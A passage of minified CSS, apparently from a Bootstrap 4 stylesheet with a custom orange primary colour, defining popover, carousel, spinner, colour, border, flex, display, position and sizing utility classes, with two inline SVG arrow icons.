0.5rem;border-left-color:#fff}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(0.3rem - 1px);border-top-right-radius:calc(0.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{-ms-touch-action:pan-y;touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner:after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:-webkit-transform 0.6s ease-in-out;transition:-webkit-transform 0.6s ease-in-out;-o-transition:transform 0.6s ease-in-out;transition:transform 0.6s ease-in-out;transition:transform 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{-webkit-transition:none;-o-transition:none;transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){-webkit-transform:translateX(100%);-ms-transform:translateX(100%);transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){-webkit-transform:translateX(-100%);-ms-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;-webkit-transition-property:opacity;-o-transition-property:opacity;transition-property:opacity;-webkit-transform:none;-ms-transform:none;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;-webkit-transition:0s 0.6s opacity;-o-transition:0s 0.6s opacity;transition:0s 0.6s opacity}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{-webkit-transition:none;-o-transition:none;transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5;-webkit-transition:opacity 0.15s ease;-o-transition:opacity 0.15s ease;transition:opacity 0.15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{-webkit-transition:none;-o-transition:none;transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:0.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:no-repeat 50% / 100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{-webkit-box-sizing:content-box;box-sizing:content-box;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;-webkit-transition:opacity 0.6s ease;-o-transition:opacity 0.6s ease;transition:opacity 0.6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{-webkit-transition:none;-o-transition:none;transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@-webkit-keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;border:0.25em solid currentColor;border-right-color:transparent;border-radius:50%;-webkit-animation:spinner-border .75s linear infinite;animation:spinner-border .75s linear infinite}.spinner-border-sm{width:1rem;height:1rem;border-width:0.2em}@-webkit-keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1}}@keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:spinner-grow .75s linear infinite;animation:spinner-grow .75s linear infinite}.spinner-grow-sm{width:1rem;height:1rem}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#fb771a!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#de5e04!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#fb771a!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:0.2rem!important}.rounded{border-radius:0.25rem!important}.rounded-top{border-top-left-radius:0.25rem!important;border-top-right-radius:0.25rem!important}.rounded-right{border-top-right-radius:0.25rem!important;border-bottom-right-radius:0.25rem!important}.rounded-bottom{border-bottom-right-radius:0.25rem!important;border-bottom-left-radius:0.25rem!important}.rounded-left{border-top-left-radius:0.25rem!important;border-bottom-left-radius:0.25rem!important}.rounded-lg{border-radius:0.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix:after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive:before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9:before{padding-top:42.85714%}.embed-responsive-16by9:before{padding-top:56.25%}.embed-responsive-4by3:before{padding-top:75%}.embed-responsive-1by1:before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-webkit-box-flex:1!important;-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-webkit-box-flex:0!important;-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-webkit-box-flex:1!important;-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-webkit-box-flex:1!important;-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-webkit-box-flex:0!important;-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-webkit-box-flex:1!important;-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-webkit-box-flex:1!important;-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-webkit-box-flex:0!important;-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-webkit-box-flex:1!important;-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-webkit-box-flex:1!important;-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-webkit-box-flex:0!important;-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-webkit-box-flex:1!important;-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-webkit-box-flex:1!important;-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-webkit-box-flex:0!important;-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-webkit-box-flex:1!important;-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{-webkit-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075)!important;box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075)!important}.shadow{-webkit-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15)!important;box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15)!important}.shadow-lg{-webkit-box-shadow:0 1rem 3rem rgba(0, 0, 0, 0.175)!important;box-shadow:0 1rem 3rem rgba(0, 0, 0, 0.175)!important}.shadow-none{-webkit-box-shadow:none!important;box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.stretched-link:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0, 0, 0, 